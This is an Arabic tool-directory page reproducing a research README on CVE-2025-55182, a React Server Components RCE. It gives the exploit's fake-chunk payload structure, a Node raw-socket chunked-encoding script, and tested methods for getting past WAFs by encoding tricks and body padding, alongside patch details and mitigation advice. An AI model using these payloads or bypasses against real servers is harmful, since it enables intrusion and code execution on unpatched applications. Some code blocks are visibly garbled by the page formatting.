Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2025-55182 — تحليل تقني مفصل وإثبات مفهوم لاستغلال CVE-2025-55182، وهي ثغرة RCE حرجة في بروتوكول Flight الخاص بـ React. يغطي تجاوز المسار، وحقن الأجزاء المزيفة، وتقنيات تجاوز جدار الحماية. | Kitploit
أدوات/GitHubGitHub/hulh122/cve-2025-55182
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبتجاوز WAFالتعلم والتعليمتطوير الحمولات
GitHubhulh122/cve-2025-55182

CVE-2025-55182

تحليل تقني مفصل وإثبات مفهوم لاستغلال CVE-2025-55182، وهي ثغرة RCE حرجة في بروتوكول Flight الخاص بـ React. يغطي تجاوز المسار، وحقن الأجزاء المزيفة، وتقنيات تجاوز جدار الحماية.

عرض المستودع
2منذ 8 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2025-55182 - ثغرة RCE في مكونات React Server Components

NOTE: Written by AI/Claude

https://github.com/ejpir/CVE-2025-55182-bypass

الخلاصة

CVE-2025-55182 هي ثغرة حرجة لتنفيذ التعليمات البرمجية عن بُعد (RCE) في بروتوكول Flight الخاص بـ React. يعتمد الهجوم على تجاوز المسار + حقن الشريحة المزيفة + إساءة استخدام معالج $B لتنفيذ Function(attacker_code).

شكر كبير لـ maple3142 على سلسلة الاستغلال العاملة!


الاستغلال

نظرة عامة على الهجوم

يستخدم الاستغلال ثلاثة حقول نموذج لبناء حمولة خبيثة:

  1. ينشئ كائن شريحة مزيف مع then مرجعي ذاتي (الحقل 1 → الحقل 0)
$@0
  • يضمّن _response مزيف مع ضبط _formData.get إلى $1:constructor:constructor
  • يطلق معالج $B الذي يستدعي response._formData.get(response._prefix + id)
  • تجاوز المسار يحل _formData.get إلى Function، وينفذ Function(code)
  • تسلسل الاستغلال```

    ┌─────────────────────────────────────────────────────────────────────┐ │ 1. Attacker sends multipart form with fake chunk object │ │ → decodeReply() parses form fields 0, 1, 2 │ │ → Object has: then, status, value, _response │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 2. Self-reference makes object thenable with real function │ │ → then: "$1:proto:then" → Chunk.prototype.then │ │ → Chunk.prototype.then(this) calls initializeModelChunk(this) │ │ → Uses this._response (attacker's fake _response) │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 3. parseModelString() handles "$B1337" reference │ │ → case "B": return response._formData.get(response._prefix+id) │ │ → Calls _formData.get with attacker's _prefix + "1337" │ └─────────────────────────────────────────────────────────────────────┘ │ ▼ ┌─────────────────────────────────────────────────────────────────────┐ │ 4. getOutlinedModel() resolves _formData.get (lazy evaluation): │ │ → "$1:constructor:constructor" traverses prototype chain │ │ → Returns Function constructor │ │ → Function(code + "1337") → RCE │ └─────────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### المكوّنات الرئيسية
    
    | المكوّن | الغرض |
    |-----------|---------|
    | `then: "$1:__proto__:then"` | كائن thenable ذاتي الإشارة؛ الجزء 1 (`$@0`) يشير إلى الجزء 0 |
    | `status: "resolved_model"` | يجعل الكائن يظهر كجزء React صالح |
    | `reason: -1` | يضبط rootReference إلى undefined (يتجنب تعارضات المراجع) |
    | `value: '{"then":"$B1337"}'` | حمولة متداخلة تشغّل معالج `$B` |
    | `_response._prefix` | تحتوي على سلسلة كود RCE |
    | `_response._chunks: "$Q2"` | خريطة Map فارغة لمنع الانهيارات أثناء معالجة الأجزاء |
    | `_response._formData.get` | يشير إلى `Function` عبر `$1:constructor:constructor` |
    
    ### غوص عميق في المكوّنات
    
    #### بنية حقول النموذج
    
    يستخدم الاستغلال ثلاثة حقول نموذج بمراجع دائرية:```
    Field 0: {"then":"$1:__proto__:then", "status":"resolved_model", ...}
    Field 1: "$@0"    ← references back to field 0
    Field 2: []       ← empty array for _chunks Map
    

    Self-Referential Thenable (then)

    تؤدي then: "$1:__proto__:then" إلى إنشاء مرجع ذاتي يتحل إلى دالة حقيقية:``` $1:proto:then ↓ $1 → chunk 1 → "$@0" → getChunk(0) → Chunk object ↓ Chunk.proto.then → Chunk.prototype.then (actual function!)

    root@kitploit:~
    **لماذا هذا أمر بالغ الأهمية:**
    
    1. `then` يتحلّل إلى `Chunk.prototype.then` - وهي دالة حقيقية قابلة للاستدعاء
    2. هذا يجعل الكائن المزيّف "thenable" صالحًا
    3. عند استخدام `await`، تستدعي JavaScript الدالة `obj.then(resolve, reject)`
    4. يتم تنفيذ `Chunk.prototype.then` مع الكائن المزيّف كقيمة `this`:```javascript
    Chunk.prototype.then = function (resolve, reject) {
      switch (this.status) {  // this.status = "resolved_model" ✓
        case "resolved_model":
          initializeModelChunk(this);  // fake object passed!
    
    1. يستخدم initializeModelChunk(this) قيمة this._response - وهو _response المزيف الخاص بالمهاجم:```javascript value = reviveModel( chunk._response, // ← attacker's fake _response! ... );
    root@kitploit:~
    **بدون المرجع الذاتي**، لن يتم استخدام `_response` المزوّر أبدًا. المرجع الذاتي يجعل `Chunk.prototype.then` يعامل كائن المهاجم باعتباره Chunk حقيقي.
    
    #### مشغّل Thenable ذو مرحلتين (`value`)
    
    يحتوي حقل `value` على سلسلة JSON متداخلة مع Thenable آخر:```json
    {"then":"$B1337"}
    

    المرحلة 1: then ذاتي الإشارة للكائن الخارجي يُشغّل معالجة الأجزاء

    المرحلة 2: عندما يحلّ React النموذج، يحلل value ويصادف thenable آخر يحتوي على then: "$B1337". بادئة $B تُشغّل المعالج:```javascript case "B": return response._formData.get(response._prefix + obj); // obj = "1337"

    root@kitploit:~
    `_formData.get` هي `"$1:constructor:constructor"` → `getOutlinedModel()` تتحل إلى `Function`.
    
    يصبح هذا: `Function(code + "1337")` → كود JS صالح لأن `1337` مجرد تعبير لاحق.
    
    #### الحشو الدفاعي (`_chunks`)
    
    يحتاج `_response` المزيّف إلى خاصية `_chunks` صالحة لمنع الأعطال:```
    Form field "2": []           ← empty array
    _chunks: "$Q2"               ← $Q = Map type, creates new Map([])
    

    قد يصل الكود الداخلي لـ React إلى response._chunks.get() أو response._chunks.has() أثناء المعالجة. تلبّي الخريطة الفارغة هذه الاستدعاءات دون أخطاء، مما يسمح بالوصول إلى المعالج الضعيف $B.


    مسارات الكود القابلة للاستغلال

    المسارالوظيفةالغرض في الاستغلال
    تجاوز المسارgetOutlinedModel()يحوّل $1:constructor:constructor إلى Function
    حقن _response مزيفinitializeModelChunk()يستخدم chunk._response الخاص بالمهاجم
    معالج $BparseModelString()يستدعي _formData.get(_prefix + id) → RCE

    decodeReply() هي نقطة الدخول، وهي ليست ضعيفة بحد ذاتها.

    تجاوز المسار (getOutlinedModel()):```javascript for (key = 1; key < reference.length; key++) parentObject = parentObject[reference[key]]; // No validation!

    root@kitploit:~
    **استخدام الاستجابة المزيفة** (`initializeModelChunk()`):```javascript
    value = reviveModel(
      chunk._response,  // Uses chunk._response directly!
      { "": rawModel },
      ...
    );
    

    $B معالج RCE (parseModelString()):```javascript case "B": return response._formData.get(response._prefix + obj); // RCE!

    root@kitploit:~
    ---
    
    ## الإصلاح (19.2.1)
    
    يتضمن التصحيح عدة إصلاحات:
    
    1. **`RESPONSE_SYMBOL` في `initializeModelChunk()`** - إصلاح حاسم   ```javascript
       // BEFORE: chunk._response (attacker can set via JSON)
       value = reviveModel(chunk._response, ...);
    
       // AFTER: Symbol lookup (cannot be forged via JSON)
       var response = chunk.reason[RESPONSE_SYMBOL];
       value = reviveModel(response, ...);
    
    1. التحقق من hasOwnProperty في getOutlinedModel() - يمنع اجتياز النموذج الأولي ```javascript hasOwnProperty.call(value, name) && (value = value[name]);
      root@kitploit:~
    2. التعامل مع __proto__ في reviveModel() - يمنع تلوث النموذج الأولي ```javascript void 0 !== parentObj || "proto" === i ? (value[i] = parentObj) : delete value[i];
      root@kitploit:~
    3. التحقق من النوع في initializeModelChunk() - يتحقق من صحة المستمعين ```javascript "function" === typeof listener ? listener(value) : fulfillReference(response, listener, value);
      root@kitploit:~

    التأثير والإصدارات

    تقييم التأثير

    القدرةالحالةملاحظات
    اجتياز سلسلة النماذج الأولية✓ مؤكدعبر $1:constructor:constructor
    الوصول إلى مُنشئ Function✓ مؤكدلا حاجة إلى manifest
    RCE كامل✓ مؤكدعبر fake chunk + معالج $B

    الإصدارات المتأثرة

    • react-server-dom-webpack: 19.0.0, 19.1.0, 19.1.1, 19.2.0
    • react-server-dom-turbopack: نفس الإصدارات
    • Next.js: 15.x, 16.x (قبل التصحيحات), إصدارات canary ابتداءً من 14.3.0-canary.77+

    الإصدارات المُصححة

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7, 16.0.7+

    لماذا يفشل اكتشاف WAF القائم على التواقيع

    يشرح هذا القسم لماذا لا يمكن لقواعد WAF التقليدية القائمة على مطابقة الأنماط اكتشاف هذا الاستغلال بشكل موثوق. فهم هذه القيود ضروري لفرق الأمن عند تقييم وضعهم الدفاعي.

    المشكلة الأساسية: الترميز في طبقات متعددة

    تمر حمولة الاستغلال عبر عدة محللات، ولكل منها دعم مختلف للترميز. يرى WAF الذي يفحص بايتات HTTP الخام سلاسل مشفرة، لكن الخادم يفك ترميزها قبل المعالجة:

    الطبقةالمحلليفك ترميز
    بنية JSONJSON.parse()هروب Unicode \uXXXX
    كود JavaScriptمُنشئ Function()\uXXXX, \xXX, ثماني, fromCharCode()

    يخلق هذا تباينًا جوهريًا: يرى WAF بايتات مشفرة، بينما يرى التطبيق سلاسل مفكوكة الترميز.

    ما الذي يجب أن تطابقه التواقيع

    قد يبحث WAF ساذج عن أنماط مثل constructor, __proto__, resolved_model أو child_process. ومع ذلك، يسمح JSON بهروب Unicode لأي حرف:

    النمط الحرفيالمكافئ بصيغة Unicodeكشف WAF
    constructor\u0063onstructorتم تجاوزه
    __proto__\u005f\u005fproto\u005f\u005fتم تجاوزه
    resolved_model\u0072esolved_modelتم تجاوزه
    $@ (مرجع دائري)$\u0040تم تجاوزه

    يوفر كود JavaScript داخل الحمولة المزيد من خيارات الترميز:

    النمطخيارات الترميز
    process\u0070rocess, String.fromCharCode(112,114,111,99,101,115,115)
    child_process\x63hild_process, رموز حروف رقمية, base64
    أي معرّفتدوين الأقواس: this[S(112,114,...)] حيث S=String.fromCharCode

    فجوة الاكتشاف

    عند الجمع بين جميع تقنيات الترميز:

    • تصبح مفاتيح JSON تسلسلات يونيكود (\u0074\u0068\u0065\u006e لـ then)
    • تصبح معرّفات JS مصفوفات رقمية (S(99,104,105,108,100,95,...) لـ child_process)
    • لا يحتوي الحمولة الخام على أي كلمات مفتاحية يمكن التعرف عليها

    يرى WAF الذي يفحص جسم HTTP تسلسلات هروب وأرقامًا فقط - لا شيء يطابق تواقيع الهجوم التقليدية.

    لماذا هذا مهم للمدافعين

    1. توفر القواعد القائمة على التواقيع ثقة زائفة - تصل الحمولة إلى الخادم دون اكتشاف
    2. الترميز لا نهائي - يمكن ترميز كل حرف بطريقة مختلفة؛ لا يمكن للتعبيرات النمطية حصر جميع المتغيرات
    3. الهجوم متوافق مع البروتوكول - جميع الترميزات صالحة وفق مواصفات JSON/JavaScript

    اعتبارات اكتشاف الترويسة

    تحدد ترويسة Next-Action طلبات Server Action. بينما لا يمكن ترميز أسماء الترويسات بصيغة Unicode (يتطلب RFC 7230 رموز ASCII)، فإن الاختلافات في التطبيع بين WAF والخادم تُنشئ فجوات اكتشاف:

    المتغيرسلوك الخادمخطر WAF
    next-action (أحرف صغيرة)مقبول (HTTP غير حساس لحالة الأحرف)يُفوَّت إذا كان WAF يتوقع حالة محددة
    Next-Action:\tx (علامة تبويب)مقبول (يتم تطبيع المسافات البيضاء)يُفوَّت إذا كان WAF يتوقع مسافة
    Next-Action: x (مسافات)مقبوليُفوَّت بدون تطبيع

    التوصيات الدفاعية

    التحديث هو التخفيف الوحيد الموثوق. لا يمكن لقواعد WAF حظر هذا الهجوم بشكل شامل بسبب مرونة الترميز.

    الإصدارات المطلوبة:

    • React: 19.0.1+, 19.1.2+, 19.2.1+
    • Next.js: 15.0.5+, 15.1.9+, 15.2.6+, 15.3.6+, 15.4.8+, 15.5.7+, 16.0.7+

    إذا تأخر التحديث، فضع في الاعتبار:

    1. فك الترميز قبل المطابقة - يجب على WAF فك ترميز \uXXXX, \xXX, وتطبيع استدعاءات fromCharCode() قبل مطابقة الأنماط
    2. الاكتشاف البنيوي - ابحث عن هياكل JSON تحتوي على _response, _prefix, _chunks, أو مراجع دائرية ($@0)
    3. تطبيع الترويسة - طابق ترويسة next-action بدون حساسية لحالة الأحرف مع إزالة المسافات البيضاء
    4. حظر Server Actions - إذا كنت لا تستخدم Server Actions، احظر الطلبات التي تحمل ترويسة Next-Action بالكامل
    5. مراقبة وقت التشغيل - أنشئ تنبيهات عند استدعاءات Function() بوسائط نصية ديناميكية

    الخلاصة الرئيسية: مطابقة الأنماط وحدها ستفشل ضد هذا النوع من الهجمات. سطح الترميز كبير جدًا لدرجة يتعذر معها حصره.


    تجاوز حدود فحص جسم AWS WAF

    حتى مع وجود قواعد WAF شاملة، يفرض AWS WAF حدودًا لحجم فحص الجسم يمكن استغلالها. يوثق هذا القسم تقنيات تجاوز تم اختبارها باستخدام حمولات ضخمة.

    حدود فحص الجسم

    يفحص AWS WAF جزءًا فقط من جسم الطلب:

    الواجهة الخلفيةالحد الافتراضيالحد الأقصى القابل للتهيئة
    ALB / AppSync8 KB8 KB
    CloudFront / API Gateway16 KB64 KB
    Amazon Cognito / App Runner16 KB64 KB

    مشكلة OversizeHandling

    تحدد قواعد WAF كيفية معالجة الطلبات التي تتجاوز حدود الفحص:

    الإعدادالسلوكقابل للاستغلال؟
    CONTINUEفحص البايتات المتاحة وتقييم القاعدةنعم - لا يتم فحص الحمولة بعد الحد
    MATCHمعاملته كمطابق (حظر)لا - يحظر الطلبات الضخمة
    NO_MATCHمعاملته كغير مطابقنعم - يمر عبر

    إذا كانت قاعدة WAF لديك تستخدم OversizeHandling: CONTINUE (الافتراضي الشائع)، فإن التجاوز يكون تافهًا.

    استراتيجية التجاوز: الحشو قبل الحمولة

    ضع بيانات حشو غير ضارة قبل حمولة الاستغلال بحيث تقع خارج نافذة الفحص:``` ┌─────────────────────────────────────────────────────────────────┐ │ Multipart Form Body │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: padding] 65KB of 'A' characters │ │ ↑ WAF inspects first 8-64KB (sees only this) │ ├─────────────────────────────────────────────────────────────────┤ │ [Field: 0] {"then":"$1:proto:then", ...} │ │ [Field: 1] "$@0" │ │ [Field: 2] [] │ │ ↑ Exploit payload - beyond WAF inspection limit │ └─────────────────────────────────────────────────────────────────┘

    root@kitploit:~
    ### نتائج الاختبار
    
    | حجم الحشو | إجمالي الجسم | إزاحة الاستغلال | النتيجة |
    |--------------|------------|----------------|--------|
    | 0 KB | 0.6 KB | 0.4 KB | ✅ RCE |
    | 8 KB | 8.6 KB | 8.4 KB | ✅ RCE |
    | 16 KB | 16.6 KB | 16.5 KB | ✅ RCE |
    | 32 KB | 32.6 KB | 32.5 KB | ✅ RCE |
    | 64 KB | 64.6 KB | 64.5 KB | ✅ RCE |
    | 128 KB | 128.6 KB | 128.5 KB | ✅ RCE |
    
    ### تجاوز ترميز النقل المُجزأ
    
    يقوم ترميز النقل المُجزأ في HTTP/1.1 بتقسيم الجسم إلى أجزاء منفصلة. إذا كان جدار الحماية (WAF) يفحص الأجزاء **قبل** إعادة التجميع، فإن الأنماط التي تمتد عبر حدود الأجزاء لن تتطابق.
    
    #### كيف يعمل```
    HTTP Request with Transfer-Encoding: chunked
    
    17f\r\n                           ← Chunk 1 size (hex)
    ...Content-Disposition: form-data; name="1"\r\n\r\n"$
    \r\n
    7b\r\n                            ← Chunk 2 size (hex)
    @0"\r\n------WebKitFormBoundary...
    \r\n
    0\r\n\r\n                         ← Terminator
    

    النمط موزّع عبر الأجزاء:``` Chunk 1 ends with: ..."$ ← WAF sees "$" alone (no match for $@) Chunk 2 starts with: @0"... ← WAF sees "@" alone (no match for $@)

    root@kitploit:~
    #### استراتيجيات التقسيم المختبرة
    
    | الاستراتيجية | الوصف | النتيجة |
    |----------|-------------|--------|
    | القطع عند `$@` | `"$` \| `@0"` | ✅ RCE |
    | أجزاء بحجم 10 بايت | تقسيم المحتوى كل 10 بايت | ✅ RCE |
    | أجزاء بحجم 5 بايت | تقسيم المحتوى كل 5 بايت | ✅ RCE |
    | القطع عند `status` | `sta` \| `tus` | ✅ RCE |
    
    نجحت جميع الاستراتيجيات في تحقيق RCE - يعيد Next.js تجميع الطلبات المجزأة بشكل صحيح.
    
    #### مثال على Raw Socket```javascript
    const net = require('net');
    const socket = new net.Socket();
    
    socket.connect(3000, 'localhost', () => {
      // Headers with chunked encoding
      socket.write([
        'POST / HTTP/1.1',
        'Host: localhost:3000',
        'Content-Type: multipart/form-data; boundary=----WebKit',
        'Transfer-Encoding: chunked',
        'Next-Action: test',
        '', ''
      ].join('\r\n'));
    
      // Chunk 1: everything up to and including "$
      const chunk1 = '...payload ending with "$';
      socket.write(`${chunk1.length.toString(16)}\r\n${chunk1}\r\n`);
    
      // Chunk 2: "@0" and rest of payload
      const chunk2 = '@0"\r\n...rest of payload';
      socket.write(`${chunk2.length.toString(16)}\r\n${chunk2}\r\n`);
    
      // Terminator
      socket.write('0\r\n\r\n');
    });
    

    اعتبارات سلوك WAF

    نوع WAFمعالجة الأجزاءهل يمكن الالتفاف؟
    AWS WAF (ALB)يعيد التجميع قبل الفحصغير محتمل
    AWS WAF (CloudFront)يعيد التجميع قبل الفحصغير محتمل
    بعض جدران الحماية القديمةيفحص كل جزء على حدةنعم
    Nginx ModSecurityقابل للتكوينيعتمد على الإعدادات

    ملاحظة: عادةً ما يعيد AWS WAF تجميع الأجسام المجزأة قبل الفحص. ومع ذلك، يجب التحقق من ذلك في كل بيئة لأن الإعدادات تختلف.

    توصيات التخفيف

    1. غيّر OversizeHandling إلى MATCH ```json "OversizeHandling": "MATCH"
      root@kitploit:~

    يعمل هذا على حظر أي طلب يتجاوز حد الفحص عند تحقق شروط القاعدة.

    1. زيادة حد فحص النص (CloudFront/API Gateway فقط) قم بتعيين حد يصل إلى 64KB في إعدادات web ACL، لكن هذا لا يمنع الالتفاف بشكل كامل.

    2. إضافة قاعدة حظر مبنية على الحجم احظر طلبات POST التي يتجاوز ترويسة Next-Action فيها حجمًا معقولًا (مثل 10KB).

    3. تصحيح التطبيق - الحل الكامل الوحيد.

    نصوص الاختبار

    راجع نصوص الاختبار المرفقة:

    • test-simple.cjs - اختبار أساسي للحمولة غير المجزأة
    • test-oversize.cjs - يختبر أحجام الحشو من 0 إلى 128KB
    • test-chunked-v2.cjs - ترميز النقل المجزأ مع تقسيم $@
    • test-chunked-bypass.cjs - استراتيجيات تجزئة متعددة (5 بايت، 10 بايت، تقسيمات الأنماط)

    الاستخدام:```bash

    Start vulnerable Next.js server (port 3000)

    cd nextjs-test && npm run dev

    Run tests

    node test-simple.cjs # Baseline node test-oversize.cjs # Oversize body bypass node test-chunked-v2.cjs # Chunked $@ split node test-chunked-bypass.cjs # All chunking strategies

    root@kitploit:~
    ---
    
    ## رحلة البحث
    
    ### الثغرة: اجتياز المسار```javascript
    function getOutlinedModel(response, reference, parentObject, key, map) {
      reference = reference.split(":");
      var id = parseInt(reference[0], 16);
      var parentObject = response.chunks[id];
    
      // PATH TRAVERSAL - no hasOwnProperty check!
      for (var key = 1; key < reference.length; key++)
        parentObject = parentObject[reference[key]];  // VULNERABLE!
    
      return map(response, parentObject);
    }
    

    عند استخدام الحمولة "$1:constructor:constructor":

    1. chunk[1]["constructor"] → [Function: Object]
    2. Object["constructor"] → [Function: Function]

    المسارات المحظورة التي جربناها

    بينما حصلنا على Function، فإن تحقيق RCE يتطلب استدعاءها بوسائط متحكم بها. هذه المسارات فشلت:

    1. مسار Thenable (محظور)```javascript // Attempt: { then: Function } // When awaited, V8 calls: Function(resolve, reject) // resolve.toString() = "function () { [native code] }" // Result: SyntaxError - invalid parameter name

    root@kitploit:~
    **2. مسار decodeAction (محظور)**```javascript
    // decodeAction always appends formData:
    // Function.bind(null, "code").bind(null, formData)()
    // = Function("code", "[object FormData]")
    // Result: SyntaxError - "[object FormData]" is not valid JS body
    

    3. مسار المُكرِّر (محظور)```javascript // Function.bind(null, code) needs TWO calls to execute // React only calls iterator once // Result: Returns bound function, doesn't execute

    root@kitploit:~
    ### الاختراق
    
    وجد maple3142 القطعة المفقودة: معالج `$B` + سلسلة `_response` المزيفة. بجعل `then` يُحل إلى `Chunk.prototype.then` عبر الإسناد الذاتي، يتم استخدام `_response` المزيفة، مما يتيح تنفيذ التعليمات البرمجية عن بُعد (RCE).
    
    ---
    
    ## النتائج الرئيسية
    
    1. **ثغرة `getOutlinedModel()` حقيقية** - المسارات المفصولة بنقطتين تسمح بعبور سلسلة النموذج الأولي (prototype chain)
    
    2. **منشئ الدالة (Function constructor) قابل للوصول** - `$1:constructor:constructor` يعمل بدون serverManifest
    
    3. **تنفيذ التعليمات البرمجية عن بُعد (RCE) قابل للتحقيق** - من خلال صياغة جزء (chunk) مزيف مع `_response` خاضعة للتحكم:
       - الإسناد الذاتي `$1:__proto__:then` → `Chunk.prototype.then` يجعل `_response` المزيفة تُستخدم
       - بنية الجزء المزيف تحاكي فئة Chunk الداخلية في React
       - `_response._formData.get` → منشئ `Function`
       - `_response._prefix` → سلسلة تعليمات برمجية خبيثة
       - معالج `$B` يفعّل `Function(malicious_code)`
    
    4. **الإصلاح شامل** - فحوصات متعددة لـ `hasOwnProperty` والتحقق من الأنواع
    
    ---
    
    ## المراجع
    
    - [ملف maple3142 على Gist](https://gist.github.com/maple3142) - اكتشاف سلسلة RCE
    - [استشارة أمان React](https://github.com/facebook/react/security/advisories)
    - [Next.js CVE-2025-66478](https://nextjs.org/blog/cve-2025-66478)
    - [إثبات المفهوم من msanft](https://github.com/msanft/CVE-2025-55182)
    - [react2shell.com](https://react2shell.com)
    - [قاعدة AWS WAF](https://aws.amazon.com/security/security-bulletins/AWS-2025-030/)
    
    ---
    
    ## إخلاء المسؤولية
    
    هذا المستودع **لأغراض البحث الأمني التعليمي والدفاعي فقط**. تم إصلاح الثغرة. قم بترقية اعتمادياتك (dependencies) فورًا.
    
    تنزيل الأداة